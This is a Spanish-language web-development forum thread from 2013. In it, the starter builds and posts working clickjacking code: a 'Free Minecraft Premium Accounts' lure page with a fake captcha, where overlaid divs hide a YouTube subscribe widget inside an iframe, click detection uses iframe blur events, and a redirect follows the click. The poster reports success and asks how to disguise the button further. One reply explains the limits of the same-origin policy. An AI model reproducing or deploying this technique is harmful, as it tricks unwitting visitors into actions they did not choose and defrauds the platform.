Foro de elhacker.net

Programación => Desarrollo Web => Mensaje iniciado por: z3nth10n en 22 Febrero 2013, 21:16 pm



Título: Hacer un Div "Falso"
Publicado por: z3nth10n en 22 Febrero 2013, 21:16 pm
Hola amigos, pues bien lo que quiero hacer es simple: Tengo un div, y quiero que cuando haga click en este, haga click en lo que haya debajo, no en lo que hay...

Hay alguna forma? Un saludo.  :P


Título: Re: Hacer un Div "Falso"
Publicado por: #!drvy en 23 Febrero 2013, 03:04 am
Supongo que te refieres a este tema:
http://foro.elhacker.net/desarrollo_web/auto_suscripcion_sin_confirmacion_en_youtube_ayuda-t383830.0.html

Un par de cosas.

1. La política del mismo origen que has leído: No la aplicas tu, la aplica el navegador. Por mucho que seas "fuera de ley", no eres tu el que manda sino el navegador :P

2. Interactuar con un div, es sencillo. Con jQuery puedes hacer,

Código
  1. $('#elemento_clickeable').on('click','body',function(){
  2. $('#elemento_oculto').click();
  3. });

Sin embargo, si el elemento esta en iframe externo o ventana externa (fuera de tu dominio), el navegador te lo impedirá de cualquier forma.

Saludos


Título: Re: Hacer un Div "Falso"
Publicado por: z3nth10n en 23 Febrero 2013, 10:29 am
Supongo que te refieres a este tema:
http://foro.elhacker.net/desarrollo_web/auto_suscripcion_sin_confirmacion_en_youtube_ayuda-t383830.0.html

Un par de cosas.

1. La política del mismo origen que has leído: No la aplicas tu, la aplica el navegador. Por mucho que seas "fuera de ley", no eres tu el que manda sino el navegador :P

2. Interactuar con un div, es sencillo. Con jQuery puedes hacer,

Código
  1. $('#elemento_clickeable').on('click','body',function(){
  2. $('#elemento_oculto').click();
  3. });

Sin embargo, si el elemento esta en iframe externo o ventana externa (fuera de tu dominio), el navegador te lo impedirá de cualquier forma.

Saludos

Ah vale, ya veo... Pero iglamente, aunque ponga subscribe, puedo hacer una cosilla...

Una captacha que ponga 2+2

Tu tengas que poner 4 y luego que le tengas que dar a Subcribe xD
Y luego cuando hagas un click en el frame que te redireccione a otra web... Pero si intentas acceder a esa web sin anter haber pasado por aquí te redireccione a la "web madre" que seria algo así:

http://kekomundo.com/foro/index.php?topic=66142.0

(Todos estos tutos ya me lo he repateado como 100 veces y los tengo hechos por algun lado de un FT de eshost) xD

No hay ninguna forma de camuflar 100x100 ese subscribe y que ponga otra cosa?



Ya lo he estado intentando de todas formas posibles, pero nada mira lo que hice:

Código:
<a href="http://sub4sub.22web.org/privada.php" style="display:block; z-index:10;"><iframe id="marco" src="http://www.youtube.com/subscribe_widget?p=willyrex" style="overflow: hidden; height: 105px; width: 300px; border: 0; z-index:1;" scrolling="no" frameBorder="0"></iframe>
</iframe></a>

Pero nada :(



He usado este codigo: http://stackoverflow.com/questions/2381336/detect-click-into-iframe-using-javascript#3031763

Pero no se carga el iframe :P



No se nada de Jquery, pero por probar hice esto:

Código:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Detect IFrame Clicks</title>
<script src="http://code.jquery.com/jquery-1.9.0.js"></script>
<script type="text/javascript">
$(document).ready(function() {
window.frames['#test']).click(function(event){  
var url = "http://stackoverflow.com";    
$(location).attr('href',url); }
});
</script>
</head>
<body>
<iframe id="test" width="100%" height="400" src="http://google.com" ></iframe>
<div id="result"></div>
</body>
</html>

Pero nada... :S



Lo tengo casi todo hecho aquí: http://sub4sub.22web.org/

El problema, que quiero meter la accion del input dentro del iframe...

Código:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Free Minecraft Premium Accounts!</title>

<script src="http://code.jquery.com/jquery-1.9.0.js"></script>

<style>
body {font-family:Arial;}
</style>
<script type="text/javascript">
    $(document).ready(function() {
        var isOverIFrame = false;

        function processMouseOut() {
            log("IFrame mouse >> OUT << detected.");
            isOverIFrame = false;
            top.focus();
        }

        function processMouseOver() {
            log("IFrame mouse >> OVER << detected.");
            isOverIFrame = true;
        }

        function processIFrameClick() {
            if(isOverIFrame) {
setTimeout(function() {
 $("#test").removeAttr("disabled");
 $('#marco').hide('slow');
}, 1000);
                log("IFrame >> CLICK << detected. ");
            }
        }

        function log(message) {
            var console = document.getElementById("console");
            var text = console.value;
            text = text + message + "\n";
            console.value = text;
        }

        function attachOnloadEvent(func, obj) {
            if(typeof window.addEventListener != 'undefined') {
                window.addEventListener('load', func, false);
            } else if (typeof document.addEventListener != 'undefined') {
                document.addEventListener('load', func, false);
            } else if (typeof window.attachEvent != 'undefined') {
                window.attachEvent('onload', func);
            } else {
                if (typeof window.onload == 'function') {
                    var oldonload = onload;
                    window.onload = function() {
                        oldonload();
                        func();
                    };
                } else {
                    window.onload = func;
                }
            }
        }

        function init() {
            var element = document.getElementsByTagName("iframe");
            for (var i=0; i<element.length; i++) {
                element[i].onmouseover = processMouseOver;
                element[i].onmouseout = processMouseOut;
            }
            if (typeof window.attachEvent != 'undefined') {
                top.attachEvent('onblur', processIFrameClick);
            }
            else if (typeof window.addEventListener != 'undefined') {
                top.addEventListener('blur', processIFrameClick, false);
            }
        }

        attachOnloadEvent(init);
    });
</script>

</head>

<body>



¡Bienvenido! Aqu&iacute; podr&aacute;s conseguir una cuenta premium en f&aacute;ciles pasos, pulsa el siguiente bot&oacute;n para continuar:
<br><br>

<center><h1>1er paso.- Responde esta pregunta:</h1>
<br>

<div style="position:relative; top:-60px;">
<div style="width: 298px; height: 58px; position:relative; top: 101px; left: 45px; background:#fff; border:1px #000 solid; z-index:1;"></div>
<div style="width: 210px; height: 41px; position:relative; left: 89px; top: 100px; border:1px #0000ff solid; background: #fff;z-index:3;"></div>
<iframe id="marco" src="http://www.youtube.com/subscribe_widget?p=willyrex" style="overflow: hidden; height: 105px; width: 300px; border: 0; position:relative; left:45px; z-index:0;" scrolling="no" frameborder="0"></iframe></div>

<br></br>
<br></br>

<form method="post" action="test.php">
<img src="captcha.php" width="100" height="30"><br>

<input type="text" name="pass">

<input type="submit" name="login" value="Login" />

</form>

</center>


<input type="button" id="test" value="test" disabled="disabled" />

<form name="form" id="form" action="" style="display:none;"><textarea name="console"
id="console" style="width: 100%; height: 300px;" cols="" rows=""></textarea>
<button name="clear" id="clear" type="reset">Clear</button>
</form>



</body>

</html>



Vale, le hice unas modificaciones pero nada, cuando le doy a suscribe, se va directamente a la web y no chekea nada...  :¬¬



SOLUCIONADOOOO! :P



Ahora neceisto complementar el archivo verificar.php con el de catpcha.php...
Tengo uno puesto con test.php

Código:
<?php

session_start();

if ($_POST['action'] == "checkdata") {

if ($_SESSION['tmptxt'] == $_POST['tmptxt']) {

header('Location: privada.php');

} else {

?>
<script type="text/javascript">
<!--
window.alert('La contraseña no es correcta');
history.go(-1);
//-->
</script>
<?php

}

exit;

}

?>

Y luego una privada.php

Código:
<?php

//  *****************************

//  Sistema de Login Simple con PHP

//  © Cristian Ospina

//  Archivo: privada.php

//  *****************************

// Verificamo que si estes Logueado.

 session_start(); require 'test.php';

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>sección Privada</title>

</head>

<body>

Si te Entraste correctamente, Podrás ver esto !

</body>

</html>

El problema es que si pones: http://sub4sub.22web.org/privada.php

Pero no hace nada... A ver si me puedes ayudar...  ;)


Título: Re: Hacer un Div "Falso"
Publicado por: z3nth10n en 1 Marzo 2013, 09:58 am
No hay ninguna api para pasar un filtro para cambiar palabras?

Alog asi como un censurador de palabras que funcione con iframes, a lo traductor de google chrome ?  >:D >:D